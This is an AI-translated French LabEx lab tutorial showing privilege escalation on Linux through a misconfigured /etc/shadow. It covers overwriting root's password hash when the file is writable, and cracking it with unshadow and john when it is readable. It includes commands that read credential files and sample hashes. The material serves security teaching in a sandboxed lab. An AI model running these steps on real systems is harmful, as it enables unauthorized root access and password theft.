Escalade de privilèges en utilisant le fichier /etc/shadow sous Linux

Beginner

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Les systèmes Linux dépendent des fichiers /etc/passwd et /etc/shadow pour l'authentification des utilisateurs et le contrôle d'accès. Si les administrateurs système configurent incorrectement les autorisations ou le contenu de ces fichiers, cela peut créer des opportunités pour des attaques d'escalade de privilèges. Dans ce laboratoire (LabEx), vous apprendrez à exploiter le fichier /etc/shadow pour obtenir les privilèges root sur un système Linux. Ce scénario suppose que vous avez déjà obtenu un accès initial à un shell avec des privilèges faibles en tant qu'utilisateur régulier.


Skills Graph

Comprendre le fichier /etc/shadow

Dans cette étape, vous allez apprendre la structure et le but du fichier /etc/shadow.

Le fichier /etc/shadow stocke les mots de passe chiffrés et les informations de configuration liées aux mots de passe pour chaque compte utilisateur. Chaque ligne du fichier représente un utilisateur et contient 9 champs séparés par des deux-points :

  1. Nom d'utilisateur
  2. Hash du mot de passe chiffré
  3. Nombre de jours depuis l'époque (1970-01-01) où le mot de passe a été modifié pour la dernière fois
  4. Nombre minimum de jours requis entre les modifications de mot de passe
  5. Nombre maximum de jours pendant lesquels le mot de passe est valide
  6. Nombre de jours avant l'expiration du mot de passe pour avertir l'utilisateur
  7. Nombre de jours après l'expiration du mot de passe avant que le compte ne soit désactivé
  8. Nombre de jours depuis l'époque (1970-01-01) où le compte sera désactivé
  9. Champ réservé pour une utilisation future

Ouvrez un terminal et accédez au répertoire /home/labex/project.

cd /home/labex/project

Vérifions l'entrée de l'utilisateur labex dans le fichier /etc/shadow :

sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt

Notez que nous avons utilisé sudo pour lire le fichier /etc/shadow. C'est parce que le fichier n'est lisible que par l'utilisateur root.

Vérifiez le contenu du fichier labex_shadow.txt :

cat labex_shadow.txt

Exemple de sortie :

labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::

Cette ligne indique :

  • Nom d'utilisateur : labex
  • Hash du mot de passe chiffré : $y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8
  • Dernière modification du mot de passe : 19818 jours depuis l'époque (1970-01-01)
  • Âge minimum du mot de passe : 0 jours (pas de restriction)
  • Âge maximum du mot de passe : 99999 jours (pas d'expiration)
  • Période d'avertissement du mot de passe : 7 jours avant l'expiration
  • Le compte n'expire jamais

Par défaut, seul l'utilisateur root peut lire et modifier le fichier /etc/shadow. Cependant, des autorisations mal configurées (misconfigured) peuvent parfois offrir des opportunités d'escalade de privilèges.

Escalader les privilèges avec un accès en écriture au fichier /etc/shadow

Dans cette étape, vous apprendrez à escalader les privilèges en modifiant le mot de passe de l'utilisateur root dans le fichier /etc/shadow si vous avez un accès en écriture à ce fichier.

  1. Tout d'abord, ouvrez un terminal et accédez au répertoire /home/labex/project :

    cd /home/labex/project

    Vous trouverez un script nommé env_setup_1.sh dans le répertoire. Exécutez ce script pour configurer l'environnement :

    ./env_setup_1.sh

    Cela configurera l'environnement et vous connectera en tant qu'utilisateur user001, simulant un accès initial à un shell avec des privilèges faibles.

    Accédez au répertoire personnel de l'utilisateur user001 :

    cd ~
  2. Ensuite, vérifiez les autorisations du fichier /etc/shadow :

    ls -alh /etc/shadow

    Exemple de sortie :

    -rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadow

    Vous devriez constater que l'utilisateur user001 a un accès en écriture au fichier /etc/shadow en raison d'une mauvaise configuration (misconfiguration).

  3. Maintenant, vous pouvez éditer le fichier /etc/shadow et remplacer le hash du mot de passe de l'utilisateur root par un nouveau.

    Tout d'abord, affichez le hash actuel du mot de passe de l'utilisateur root :

    cat /etc/shadow | grep root

    Exemple de sortie :

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    Pour définir un nouveau mot de passe (par exemple, pass123), générez un nouveau hash de mot de passe à l'aide de l'utilitaire openssl :

    openssl passwd -1 -salt ignite pass123

    Exemple de sortie :

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1
  4. Ouvrez le fichier /etc/shadow dans un éditeur de texte et remplacez le hash du mot de passe de l'utilisateur root par le nouveau.

    nano /etc/shadow

    Trouvez le hash du mot de passe de l'utilisateur root :

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    Remplacez le hash du mot de passe par le nouveau :

    root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::

    Enregistrez les modifications et quittez l'éditeur.

  5. Enfin, utilisez la commande su root pour vous connecter en tant qu'utilisateur root, en entrant le nouveau mot de passe pass123 lorsque vous y êtes invité.

    su root

Vous devriez maintenant avoir les privilèges root sur le système.

Escalader les privilèges avec un accès en lecture au fichier /etc/shadow

Dans cette étape, vous apprendrez à escalader les privilèges en craquant le hash du mot de passe de l'utilisateur root si vous n'avez qu'un accès en lecture au fichier /etc/shadow.

Après l'étape précédente, vous devriez être connecté en tant qu'utilisateur root. Vous pouvez ouvrir un nouveau terminal ou utiliser la commande exit pour vous déconnecter de l'utilisateur actuel jusqu'à ce que vous reveniez à l'utilisateur labex.

  1. Lorsque vous êtes connecté en tant qu'utilisateur labex, accédez au répertoire /home/labex/project :

    cd /home/labex/project

    Exécutez le script env_setup_2.sh pour configurer l'environnement :

    ./env_setup_2.sh

    Cela configurera un nouvel environnement où l'utilisateur user001 a un accès en lecture au fichier /etc/shadow.

    Accédez au répertoire personnel de l'utilisateur user001 :

    cd ~
  2. Vérifiez les autorisations du fichier /etc/shadow :

    ls -alh /etc/shadow

    Exemple de sortie :

    -rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadow

    Vous devriez constater que l'utilisateur user001 a un accès en lecture au fichier /etc/shadow en raison d'une mauvaise configuration (misconfiguration).

  3. Ensuite, nous pouvons utiliser l'outil john pour craquer le hash du mot de passe de l'utilisateur root. Avant d'utiliser john, vous devez combiner le contenu des fichiers /etc/passwd et /etc/shadow à l'aide de la commande unshadow :

    unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt
  4. Maintenant, exécutez john sur le fichier shadow_crack.txt pour craquer le hash du mot de passe de l'utilisateur root et enregistrez les mots de passe craqués dans un fichier :

    john --users=root shadow_crack.txt > cracked_passwords.txt

    Vérifiez le contenu du fichier cracked_passwords.txt pour voir le mot de passe craqué :

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    study            (root)
  5. Enfin, utilisez la commande su root pour vous connecter en tant qu'utilisateur root, en entrant le mot de passe craqué study lorsque vous y êtes invité :

    su root

Vous devriez maintenant avoir les privilèges root sur le système.

Résumé

Dans ce laboratoire (LabEx), vous avez appris la structure et le but du fichier /etc/shadow, ainsi que deux méthodes pour escalader les privilèges en exploitant ce fichier : modifier le hash du mot de passe de l'utilisateur root avec un accès en écriture, ou craquer le hash du mot de passe de l'utilisateur root avec un accès en lecture. Ces techniques démontrent l'importance de configurer correctement les autorisations des fichiers et de sécuriser les fichiers système sensibles dans un environnement Linux.